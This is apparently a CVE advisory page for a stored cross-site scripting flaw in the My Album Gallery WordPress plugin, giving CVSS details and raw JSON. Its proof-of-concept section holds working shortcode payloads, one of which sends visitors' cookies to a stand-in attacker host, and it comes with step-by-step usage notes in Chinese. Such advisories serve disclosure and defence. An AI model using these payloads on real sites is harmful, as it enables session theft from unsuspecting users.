Security Vulnerability Report
中文
CVE-2025-14453 CVSS 6.4 MEDIUM

CVE-2025-14453

Published: 2026-01-07 12:16:55
Last Modified: 2026-04-15 00:35:42

Description

The My Album Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'style_css' shortcode attribute in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

My Album Gallery plugin for WordPress <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Contributor权限账户可利用的存储型XSS PoC --> <!-- 将以下短代码添加到任何WordPress页面或文章中 --> [mygallery style_css='"><script>alert("XSS Vulnerability - CVE-2025-14453")</script><xss yz='] <!-- 更隐蔽的窃取Cookie PoC --> [mygallery style_css='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script><xss yz='] <!-- 利用说明: 1. 攻击者需要拥有WordPress网站的Contributor或更高权限账户 2. 登录后创建或编辑文章/页面 3. 在内容中插入上述短代码 4. 发布或更新页面 5. 当其他用户访问该页面时,恶意脚本将自动执行 6. 可窃取用户会话Cookie或执行其他恶意操作 -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14453", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:54.750", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The My Album Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'style_css' shortcode attribute in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin My Album Gallery para WordPress es vulnerable a cross-site scripting almacenado a través del atributo del shortcode 'style_css' en todas las versiones hasta la 1.0.4, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/my-album-gallery/tags/1.0.4/controllers/public/class-mygallery-shortcode.php#L121", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/my-album-gallery/trunk/controllers/public/class-mygallery-shortcode.php#L121", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/64399c1c-ea82-483b-b320-3c6f2cb010b3?source=cve", "source": "[email protected]"}]}}